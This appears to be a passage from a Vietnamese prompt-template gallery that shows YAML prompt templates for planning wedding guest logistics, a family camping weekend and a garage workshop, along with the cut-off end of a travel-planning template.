7 tạm dừng ở quê nhà, lịch trình chi tiết trong ngày khởi hành, và danh sách kiểm tra cho tuần đầu tiên sau khi đến nơi.
8
9inputs:
10 home_country: ${home_country:Canada}
...+110 dòng nữa
TravelPlanningYAML+3
F@f
0
Trình Xây dựng Kế hoạch Hậu cần Khách mời Đám cưới (YAML)
Văn bản

Chuyển đổi ngày cưới, địa điểm tổ chức và danh sách khách mời của bạn thành bản kế hoạch hậu cần khách mời định dạng YAML: các trường thông tin xác nhận tham dự (RSVP) và kế hoạch nhắc phản hồi, phân nhóm khách mời, đặt giữ khối phòng khách sạn, lịch đón khách và các chuyến xe trung chuyển, bộ quà tặng chào mừng, theo dõi suất ăn và chế độ ăn kiêng, quy tắc xếp chỗ ngồi, nhu cầu hỗ trợ tiếp cận và gia đình, lịch trình truyền thông, luồng đón tiếp khách trong ngày cưới, phương án dự phòng và người phụ trách từng đầu việc.

1role: Điều phối viên hậu cần đám cưới ấm áp, tỉ mỉ, người giúp các cặp đôi và gia đình đảm bảo mọi khách mời đều được gửi thiệp mời, sắp xếp chỗ ở, đưa đón, xếp chỗ ngồi, phục vụ ăn uống và cập nhật thông tin đầy đủ đúng giờ, để kỳ nghỉ cuối tuần diễn ra đám cưới suôn sẻ và không một ai bị bỏ rơi hay lúng túng
2task: >
3 Chuyển đổi thông tin chi tiết đám cưới, tóm tắt danh sách khách mời và các địa điểm tổ chức của tôi thành một kế hoạch hậu cần khách mời hoàn chỉnh dưới định dạng YAML:
4 kế hoạch thu thập dữ liệu khách mời và xác nhận tham dự (RSVP), bảng phân nhóm khách mời, các bước sắp xếp chỗ ở và giữ khối phòng khách sạn (room block), lịch trình di chuyển
5 và xe trung chuyển (shuttle), đề cương bộ quà tặng chào mừng và cẩm nang thông tin, theo dõi suất ăn và chế độ ăn kiêng, quy tắc
6 xếp sơ đồ chỗ ngồi, nhu cầu hỗ trợ tiếp cận và gia đình, lịch trình gửi thông báo từ thiệp báo hỷ (save-the-dates) cho đến ngày
7 hôm sau đám cưới, luồng di chuyển của khách trong ngày cưới, và kế hoạch dự phòng cho thời tiết xấu, sự cố chậm trễ và khách vắng mặt.
8
9inputs:
10 wedding_date: ${wedding_date:a Saturday in mid-June}
...+112 dòng nữa
TravelPlanningYAML+3
F@f
0
Trình Lập Kế hoạch Cắm trại Cuối tuần cho Gia đình (YAML)
Văn bản

Chuyển đổi thông tin gia đình, khu cắm trại, ngày đi và dụng cụ của bạn thành bản kế hoạch cắm trại cuối tuần định dạng YAML: đặt chỗ và các quy định cần xác nhận, an toàn về thời tiết, sông nước, lửa trại và phòng tránh trẻ đi lạc, danh sách đồ dùng cần mang theo từng danh mục kèm trạng thái đã có, mượn, thuê hoặc mua, sơ đồ dựng trại, thực đơn thân thiện với trẻ nhỏ và kế hoạch sắp xếp thùng đá, lịch trình hàng ngày xoay quanh giờ ngủ trưa kèm phương án dự phòng ngày mưa, mẹo giúp trẻ ngủ ngon, phân công việc cho các thành viên, quy trình thu dọn không để lại dấu vết (leave-no-trace), và phần đánh giá sau chuyến đi.

1role: Người lập kế hoạch cắm trại gia đình thân thiện, luôn đề cao sự an toàn, chuyên giúp các bậc phụ huynh tổ chức kỳ nghỉ cuối tuần thư giãn tại khu cắm trại cùng con nhỏ, từ khâu đặt chỗ và chuẩn bị hành lý đến bữa ăn, giấc ngủ, hoạt động vui chơi và nguyên tắc không để lại dấu vết, giúp chuyến đi vừa vui vẻ cho các bé vừa nhẹ nhàng, dễ quán xuyến cho người lớn
2task: >
3 Chuyển đổi thông tin gia đình, điểm đến, ngày đi và dụng cụ của tôi thành một bản kế hoạch cắm trại cuối tuần
4 hoàn chỉnh cho gia đình dưới định dạng YAML: tóm tắt chuyến đi kèm mức độ sẵn sàng và các rủi ro, danh sách kiểm tra
5 đặt chỗ và giấy phép, kế hoạch thời tiết và an toàn, danh sách đồ dùng chung và cá nhân theo từng danh mục, kế hoạch
6 dựng trại, thực đơn đơn giản kèm chiến lược sắp xếp thùng đá và bảo quản thực phẩm, lịch trình thân thiện với trẻ nhỏ
7 cho từng ngày có thời gian nghỉ ngơi yên tĩnh và ý tưởng dự phòng cho ngày mưa, mẹo giữ ấm và giúp trẻ ngủ ngon,
8 phân công công việc cho từng thành viên trong gia đình, danh sách kiểm tra thu dọn và không để lại dấu vết, cùng phần
9 đánh giá ngắn gọn sau chuyến đi.
10
...+114 dòng nữa
TravelPlanningYAML+3
F@f
0
Trình xây dựng kế hoạch sắp xếp xưởng làm việc tại nhà để xe (YAML)
Văn bản

Biến một nhà để xe bừa bộn thành một xưởng làm việc tại nhà tiện dụng mà vẫn đủ chỗ cho ô tô và xe đạp, dưới dạng bản kế hoạch YAML: kế hoạch phân loại và dọn dẹp, bố cục phân khu, kế hoạch bàn làm việc, lưu trữ trên tường, bảng treo dụng cụ (pegboard) và trần nhà, danh mục kiểm kê dụng cụ với vị trí cố định có dán nhãn cho từng món, lưu trữ an toàn cho nhiên liệu, sơn và hóa chất, kiểm tra nguồn điện, ánh sáng và thông gió, kế hoạch xử lý bụi, danh sách mua sắm theo ngân sách, lịch trình thực hiện vào cuối tuần và các thói quen giữ gìn ngăn nắp.

1role: Chuyên gia sắp xếp xưởng làm việc tại nhà thực tế, luôn đặt sự an toàn lên hàng đầu, giúp mọi người biến một nhà để xe bừa bộn thành một xưởng làm việc sạch sẽ, tiện dụng mà vẫn đủ chỗ để ô tô, xe đạp và đồ đạc gia đình cần thiết, bằng cách sử dụng phương pháp phân khu, lưu trữ trên tường và các thói quen đơn giản, với ngân sách thực tế và lộ trình thực hiện theo từng dịp cuối tuần
2task: >
3 Chuyển đổi kích thước nhà để xe của tôi, những đồ đạc hiện có bên trong, các dự án tôi muốn thực hiện và ngân sách của tôi thành một bản kế hoạch sắp xếp xưởng làm việc tại nhà để xe hoàn chỉnh dưới dạng YAML: phần tóm tắt nêu các vấn đề và rủi ro chính, kế hoạch phân loại và dọn dẹp, bố cục phân khu chỉ rõ vị trí đặt từng thứ, kế hoạch bàn làm việc, hệ thống lưu trữ trên tường, trần nhà và kệ, danh mục kiểm kê dụng cụ kèm vị trí cố định cho từng món, phương án lưu trữ an toàn cho hóa chất, nhiên liệu, pin và dụng cụ sắc nhọn, danh mục kiểm tra nguồn điện, chiếu sáng và thông gió, kế hoạch xử lý bụi và dọn dẹp, danh sách mua sắm được chia thành nhóm cần mua ngay và nhóm mua sau, lịch trình thực hiện theo từng cuối tuần, cùng những thói quen đơn giản để duy trì sự ngăn nắp.
4
5inputs:
6 garage_size: ${size:single-car garage, about 3 m by 6 m, 2.4 m ceiling, one window, one door to the house}
7 must_still_fit: ${must_fit:one small car in winter, two bikes, a lawn mower, holiday decoration boxes}
8 current_state: ${state:boxes stacked on the floor, tools in three different drawers and bags, an old table used as a bench}
9 projects_wanted: ${projects:small woodworking like shelves and planters, bike repairs, home repair jobs}
10 tools_owned: ${tools:cordless drill and driver, circular saw, jigsaw, hand tools, clamps, a shop vacuum}
...+118 dòng nữa
PlanningYAMLOrganization+3
F@f
0